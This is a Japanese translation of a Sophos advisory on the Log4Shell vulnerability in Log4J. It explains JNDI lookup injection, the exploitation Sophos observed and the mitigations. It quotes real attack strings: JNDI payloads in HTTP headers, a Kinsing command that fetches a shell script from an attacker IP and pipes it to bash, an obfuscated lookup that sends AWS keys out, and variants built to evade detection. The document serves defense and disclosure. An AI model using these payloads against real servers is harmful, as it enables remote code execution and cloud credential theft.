** 本記事は、Log4Shell Hell: anatomy of an exploit outbreak の翻訳です。最新の情報は英語記事をご覧ください。**
12月 9日、Apache の Log4J に深刻なリモートコードの脆弱性が存在することが明らかになりました。Log4J は、Java などのプログラミング言語をベースにした Web アプリケーションやサーバーアプリケーションの開発に使用されている非常に一般的なログシステムです。この脆弱性は、サーバー上の幅広いサービスやアプリケーションに影響を及ぼすため極めて危険であり、サーバーアプリケーションの最新アップデートが急がれます。
この脆弱性を悪用する攻撃者が、ログメッセージにテキストを挿入したり、リモートサーバーからコードを読み込むサーバーログにログメッセージのパラメーターを挿入したりすると、標的となったサーバーは Java Naming and Directory Interface (JNDI) への呼び出しを介してそのコードを実行してしまいます。JNDI は、Lightweight Directory Access Protocol (LDAP)、Domain Name Service (DNS)、Java の Remote Interface (RMI)、Common Object Request Broker (CORBA) など、数多くのネットワークサービスと連携しています。ソフォスでは、外部サーバーにリダイレクトされた LDAP、DNS、RMI にタグ付けされた URL を使用して、これらのサービスを悪用しようとする攻撃を確認しています。
ソフォスはすでに、この脆弱性を悪用しようとする暗号通貨マイナーの操作を検出しています。また、他の情報源からも、自動化されたボットネット (Mirai、Tsunami、Kinsing など) がこの脆弱性を利用し始めているという信憑性の高い報告を受けています。他の種類の攻撃やペイロードも急速に増加していると思われます。脆弱性を緩和するためにサーバー運用者ができることはいくつかあります。最も効果的な対策は、Apache がリリースしたパッチ適用済みの Log4j 2.15.0 にアップグレードすることです。しかし、アップグレードの実施は簡単ではないかもしれません。特に、コンポーネントとして配置されている場所がわからない場合はなおさらです。
Oracle の WebLogic Server の IIOP (Internet Inter-ORB Protocol) 実装で見つかった脆弱性 (CVE-2020-2551) を含めて、同様の深刻な JNDI インジェクションの脆弱性は、これまでも他の Java サーバーコンポーネントで発見されています。しかし、Log4J は、Web/モバイルアプリケーションのサーバー、メールサーバー (Apache の Java ベースの JAMES メールサーバーを含む) 、クラウドサービスなど、インターネットに接続された商用およびオープンソースのソフトウェアに広く使用されているため、この脆弱性を追跡してパッチを適用することが非常に困難になっています。これまでの Log4J の脆弱性は、これほど深刻ではありませんでした。
ソフォスは、12月 9日以降、この脆弱性を利用してリモートでコードを実行しようとする試みを何十万件も検出しています。また、Cloudflare をはじめとする他の組織が行ったログ検索により、この脆弱性が一般公開される数週間前から公然と悪用されていた可能性が明らかになっています。ソフォスが検出したインスタンスの大半は、脆弱性をスキャンするもの、エクスプロイトをテストするもの、および暗号通貨マイナーをインストールしようとするものでした。また、Amazon Web Services のキーやその他のプライベートデータなど、サービスから情報を抽出しようとする試みも確認されています。
Log4J エクスプロイトの仕組み
Log4J の以前のバージョンに存在しているバグは、メッセージのルックアップ置換と呼ばれる機能が原因です。この機能が有効になっていると (バグ修正前はデフォルトで有効)、Log4j は構成ソース、ログメッセージ、およびアプリケーションから渡されるパラメーターの中で、JNDI リソースを参照する文字列を検出します。Log4J はこれらの文字列で渡される URL をサニタイズしないため、攻撃者は、Log4J を使用するアプリケーションに対する悪意のある要求を作成することができます。この要求には、悪意のあるサーバーの URL を含んだフィールドにメッセージ置換文字列が含まれています。
Web アプリケーションの場合、この文字列は、ログに記録される HTTP 通信の一部である可能性があり、${jndi:[protocol]://[remote server and code address]} の形式で、悪意のあるサーバーを参照する置換コマンドとしてフォーマットされます。スキャンやエクスプロイトの使用が発見されないように、JNDI インターフェースを呼び出すネストされた文字列の使用 ((${${::-j}${::-n}${::-d}${::-I})) など、さまざまな難読化が行われています。
JNDI を使用したルックアップコマンドが Log4J に渡されると、Log4J はサーバー (ローカルまたはリモート) にアクセスして Java コードを取得します。無害なシナリオでは、このコードは、ログに記録されるデータの生成をサポートします。しかし、脆弱性が悪用されると、この同じメカニズムによって、認証されていない悪意のあるリモートの Java コードの実行が可能になります。
これを容易にしているのが、Interactsh などのツールです。ツールを使用する攻撃者は、HTTP ヘッダーに悪意のある文字列を「散布」した要求を発行し、受信側のアプリケーションをおびき寄せてメッセージの置換を実行させます。すると、その時点でアプリケーションは脆弱性をトリガーし、リモートコードをロードまたは実行します。
以下は、GET 要求で確認された HTTP ヘッダーのリストで、攻撃者が Interactsh を使用して脆弱なサーバーを探索し、要求のほぼすべての要素に JNDI 参照をスローする様子を示しています。
referer=${jndi:ldap://[redacted].interact.sh},
x-http-host-override=${jndi:ldap://[redacted].interact.sh},
true-client-ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-port=443,
x-client-ip=${jndi:ldap://[redacted].interact.sh},
cf-connecting_ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-host=${jndi:ldap://[redacted].interact.sh},
contact=${jndi:ldap://[redacted].interact.sh},
host=[redacted].com,
from=${jndi:ldap://[redacted].interact.sh},
cache-control=no-transform,
x-forwarded-proto=https,
accept-language=en,
client-ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-for=${jndi:ldap://[redacted].interact.sh},
x-originating-ip=${jndi:ldap://[redacted].interact.sh},
x-host=${jndi:ldap://[redacted].interact.sh},
forwarded=${jndi:ldap://[redacted].interact.sh},
accept=*/*,
x-real-ip=${jndi:ldap://[redacted].interact.sh},
ペイロード
Log4J のエクスプロイトを利用しようとする初期の試みの多くは、暗号通貨マイナーに関連したものでした。これには、さまざまな難読化技術を用いたマイナー関連のボットネットである Kinsing も含まれています。
GET /?x=${jndi:ldap://93[.]189[.]42.8:5557/Basic/Command/Base64/
KGN1cmwgLXMgOTMuMTg5LjQyLjgvbGguc2h8fHdnZXQgLXEgLU8tIDkzLjE4OS40Mi44L2xoLnNoKXxiYXNo}
HTTP/1.1" 200 3440 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}
://93[.]189.42.8:5557/Basic/Command/Base64/KGN1cmwgLXMgOTMuMTg5LjQyLjgvbGguc2h8fHdnZXQgL
XEgLU8tIDkzLjE4OS40Mi44L2xoLnNoKXxiYXNo}"
"${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://93[.]189.42.8:5557
/Basic/Command/Base64/KGN1cmwgLXMgOTMuMTg5LjQyLjgvbGguc2h8fHdnZXQgLXEgLU8tIDkzLjE4OS40M
i44L2xoLnNoKXxiYXNo}"
URL の内容には、Base64 でエンコードされたコマンドが含まれています。
(curl -s 93.189.42.8/lh.sh||wget -q -O- 93.189.42.8/lh.sh)|bash
ソフォスは、JNDI 呼び出しの検出を回避する別の難読化技術を用いて、Log4J の脆弱性を利用するホストから AWS のアクセスキーを特定しようとする試みも記録しています。これらの文字列は、AWS リソースとやりとりするプログラムが使用する環境変数を、標的となったエンドポイントに返させようとするものです。
"GET /a1${${env:lsweqw:-j}ndi${env:lsweqw:-:}${env:lsweqw:-r}mi${env:lsweqw:-:}
//[MASKED_IP}/dupa123/MASKED_HOST:80/gp/${env:USER}/${env:AWS_ACCESS_KEY_ID}/
${env:AWS_SECRET_ACCESS_KEY}/dupa1234} HTTP/1.1" 302 455 "aaaaa1${${env:lsweqw:-j}
ndi${env:lsweqw:-:}${env:lsweqw:-r}mi${env:lsweqw:-:}
//1[MASKED_IP}:1099/dupa123/MASKED_HOST:80/gr/${env:USER}/${env:AWS_ACCESS_KEY_ID}/
${env:AWS_SECRET_ACCESS_KEY}/dupa1234}" "aaaaa1${${env:lsweqw:-j}ndi${env:lsweqw:-:}
${env:lsweqw:-r}mi${env:lsweqw:-:}//[MASKED_IP]/dupa123/MASKED_HOST:80/ga/${env:USER}/
${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}/dupa1234}"
Detection and correction
検出と修正
SophosLabs は、Log4J の脆弱性を悪用しようとするトラフィックをスキャンする IPS ルールをいくつか導入しました。脆弱性が発見されてから 1 日も経たないうちに、この脆弱性を狙ったトラフィックが一時的に急増したことが確認されています。その件数は週末になると急増し始め、土曜の夜から日曜の朝 (UTC) にかけて最大になりました。
このトラフィックの大部分 (約 90%) は、LDAP プロトコルを悪用したもので、DNS や RMI を使用したものは少数でした。これらのトラフィックの一部は、企業側が行った脆弱性スキャンである可能性もありますが、その多くは悪用可能なシステムを攻撃者が探索していたものだと考えられます。テレメトリで収集した要求を分析したところ、多くが Interactsh を使用しており、「JNDI」を検索するルールを回避するためにさまざまな難読化技術を使用していました (RMI コールを使用する試みなど)。
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://[identifier].interact.sh/poc}
${${lower:jndi}:${lower:rmi}://[identifier].interact.sh/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}:
//[identifier].interact.sh/poc}
Log4J の脆弱性を解決するには、多層防御が必要です。企業は、インターネット接続しているすべてのサービスからエクスプロイトのトラフィックをブロックするルールを導入する必要があります (Sophos IPS は現在、既知の Log4J エクスプロイトのシグネチャに一致するトラフィックをブロックしています)。しかし、長期的な保護のためには、Log4J のインスタンスを特定して更新するか、Log4J の設定を (Log4J のパス設定のルートにある XML または YAML の構成ファイルを介して、またはプログラミング通じて) 変更して問題を緩和する必要があります。その際、Log4J が組み込まれている製品のコード変更が必要になる場合があります。
